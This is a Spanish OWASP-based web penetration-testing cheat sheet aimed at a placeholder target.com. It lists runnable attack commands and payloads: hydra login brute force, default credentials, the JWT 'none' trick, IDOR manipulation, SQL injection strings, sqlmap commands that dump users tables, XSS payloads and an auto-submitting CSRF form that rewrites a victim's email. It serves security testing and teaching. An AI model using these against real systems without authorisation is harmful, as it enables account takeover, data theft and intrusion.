Guía de testing de seguridad web basada en la metodología OWASP, cubriendo las pruebas más importantes para cada categoría del Top 10.
# Descubrir tecnologías:
whatweb http://target.com
wappalyzer (extensión navegador)
# Mapear la aplicación (spider):
# Burp Suite → Target → Site map → Espider the application
# Buscar endpoints ocultos:
gobuster dir -u http://target.com -w big.txt -x php,html,js
# Revisar robots.txt y sitemap.xml:
curl http://target.com/robots.txt
curl http://target.com/sitemap.xml
# 1. Fuerza bruta al login:
hydra -l admin -P rockyou.txt target.com http-post-form \
"/login:user=^USER^&pass=^PASS^:Invalid"
# 2. Enumeración de usuarios (timing attack):
# Medir el tiempo de respuesta para usuarios válidos vs inválidos
# 3. Contraseñas por defecto:
admin:admin | admin:password | root:root | test:test
# 4. Verificar bloqueo de cuenta tras intentos fallidos:
# ¿Se bloquea después de 5 intentos?
# 5. Token JWT (si se usa):
# Decodificar en https://jwt.io/
# Probar algoritmo "none": cambiar alg a "none" y eliminar firma
# Insecure Direct Object Reference:
# Cambiar IDs en la URL para acceder a recursos de otros usuarios:
GET /api/users/1/profile → cambiar a /api/users/2/profile
GET /download?file=invoice_001.pdf → cambiar a invoice_002.pdf
# Escalada de privilegios horizontal y vertical:
# Acceder a funciones de admin siendo usuario normal
# Intercept con Burp y modificar rol/ID en la petición
# Detección manual — añadir en cada parámetro:
' → error SQL = vulnerable
' OR '1'='1 → devuelve todos los registros
' AND '1'='2 → no devuelve resultados
# Automático con SQLMap:
sqlmap -u "http://target.com/search?q=1" --dbs
sqlmap -u "http://target.com/search?q=1" -D dbname --tables
sqlmap -u "http://target.com/search?q=1" -D dbname -T users --dump
# Parámetros POST:
sqlmap -u "http://target.com/login" --data="user=1&pass=1" --dbs
# Payloads básicos de detección:
<script>alert(1)</script>
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
"><script>alert(1)</script>
# XSS en cabeceras HTTP (Referer, User-Agent):
# Burp → modificar cabecera con payload
# Stored XSS:
# Publicar comentario/perfil con payload → ¿se ejecuta al cargar la página?
# DOM-based XSS:
# Buscar parámetros usados en document.write(), innerHTML, eval()
# 1. Identificar acciones sensibles (cambio de contraseña, transferencias)
# 2. Interceptar la petición con Burp
# 3. ¿Hay token CSRF? ¿Se valida?
# 4. Crear PoC:
<form action="http://target.com/change-email" method="POST">
<input name="email" value="atacante@evil.com">
</form>
<script>document.forms[0].submit()</script>
# Verificar con curl:
curl -I https://target.com
# Cabeceras que deben estar presentes:
# ✓ Strict-Transport-Security
# ✓ X-Content-Type-Options: nosniff
# ✓ X-Frame-Options: DENY o SAMEORIGIN
# ✓ Content-Security-Policy
# ✗ Server: (debe estar oculto o ser genérico)
# ✗ X-Powered-By: (debe estar oculto)
# Herramienta online:
# https://securityheaders.com/
# Con testssl.sh:
./testssl.sh https://target.com
# Con nmap:
nmap --script ssl-enum-ciphers -p 443 target.com
# Comprobar:
# ✓ TLS 1.2 y 1.3 activos
# ✗ SSL 2.0, SSL 3.0, TLS 1.0, TLS 1.1 desactivados
# ✗ Ciphers débiles (RC4, DES, 3DES, EXPORT)
# ✓ Certificado válido y no expirado